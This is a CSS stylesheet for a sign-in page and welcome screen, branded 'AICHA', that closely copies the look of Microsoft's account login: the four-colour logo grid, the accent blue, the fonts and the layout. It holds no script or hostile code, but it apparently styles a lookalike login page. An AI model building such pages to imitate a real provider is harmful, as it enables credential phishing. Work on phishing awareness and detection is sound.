* { box-sizing: border-box; margin: 0; padding: 0; }

body {
  font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
  min-height: 100vh;
  background: linear-gradient(135deg, #f3f6fb 0%, #eaf1fb 40%, #e3edf9 100%);
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  padding: 24px;
  color: #1b1b1b;
}

.wrapper { width: 100%; max-width: 440px; }

.card {
  background: #fff;
  padding: 44px;
  box-shadow: 0 2px 6px rgba(0, 0, 0, 0.2);
}

/* Logo AICHA */
.logo { display: flex; align-items: center; gap: 8px; }
.logo-grid {
  width: 24px; height: 24px;
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: 1fr 1fr;
  gap: 1.5px;
}
.logo-grid span { display: block; }
.logo-grid span:nth-child(1) { background: #F25022; }
.logo-grid span:nth-child(2) { background: #7FBA00; }
.logo-grid span:nth-child(3) { background: #00A4EF; }
.logo-grid span:nth-child(4) { background: #FFB900; }
.logo-text {
  font-size: 15px;
  font-weight: 600;
  letter-spacing: 0.5px;
}

h1 {
  margin-top: 24px;
  font-size: 24px;
  line-height: 28px;
  font-weight: 600;
}

.field { margin-top: 12px; }

.field input[type="text"],
.field input[type="password"] {
  width: 100%;
  border: 0;
  border-bottom: 1px solid #666;
  background: transparent;
  padding: 8px 0;
  font-size: 15px;
  font-family: inherit;
  color: #1b1b1b;
  outline: none;
}

.field input:focus { border-bottom-color: #0067b8; }
.field.has-error input { border-bottom-color: #a80000; }

.error {
  margin-top: 8px;
  font-size: 13px;
  color: #a80000;
}

.links { margin-top: 12px; font-size: 13px; }
.links p { margin-top: 8px; }
.links a { color: #0067b8; text-decoration: none; }
.links a:hover { text-decoration: underline; }

.actions { margin-top: 32px; display: flex; justify-content: flex-end; }

.btn-primary {
  min-width: 108px;
  height: 32px;
  border: 0;
  background: #0067b8;
  color: #fff;
  font-size: 15px;
  font-family: inherit;
  cursor: pointer;
}
.btn-primary:hover  { background: #005da6; }
.btn-primary:active { background: #005299; }

.btn-secondary {
  min-width: 108px;
  height: 32px;
  background: #fff;
  border: 1px solid #8a8886;
  color: #1b1b1b;
  font-size: 15px;
  font-family: inherit;
  cursor: pointer;
}
.btn-secondary:hover { background: #f3f2f1; }

.divider {
  margin-top: 40px;
  padding-top: 16px;
  border-top: 1px solid #eaeaea;
}

.option-row {
  display: flex;
  align-items: center;
  gap: 12px;
  width: 100%;
  background: none;
  border: 0;
  padding: 8px 4px;
  font-size: 13px;
  cursor: pointer;
  text-align: left;
  color: #1b1b1b;
  font-family: inherit;
}
.option-row:hover { background: #f5f5f5; }
.option-row .key-icon {
  width: 20px; height: 20px;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  color: #0067b8;
  font-size: 18px;
}

.back-link {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  background: none;
  border: 0;
  font-size: 15px;
  color: #1b1b1b;
  font-family: inherit;
  cursor: pointer;
  padding: 0;
  text-decoration: none;
}
.back-link:hover { text-decoration: underline; }

.checkbox-row {
  margin-top: 16px;
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 13px;
  cursor: pointer;
}
.checkbox-row input { width: 16px; height: 16px; accent-color: #0067b8; }

.footer {
  width: 100%;
  max-width: 440px;
  margin-top: 16px;
  display: flex;
  justify-content: flex-end;
  gap: 24px;
  font-size: 12px;
  color: #262626;
  padding-right: 8px;
}
.footer a { color: inherit; text-decoration: none; }
.footer a:hover { text-decoration: underline; }

/* Welcome page */
.user-row { margin-top: 24px; display: flex; align-items: center; gap: 12px; }
.avatar {
  width: 40px; height: 40px;
  border-radius: 50%;
  background: #0067b8;
  color: #fff;
  display: flex;
  align-items: center;
  justify-content: center;
  font-weight: 600;
}
.user-info p { font-size: 15px; font-weight: 600; }
.user-info small { font-size: 12px; color: #666; }

.notice {
  margin-top: 24px;
  background: #f3f8fc;
  border: 1px solid #e1ecf5;
  padding: 12px;
  font-size: 13px;
}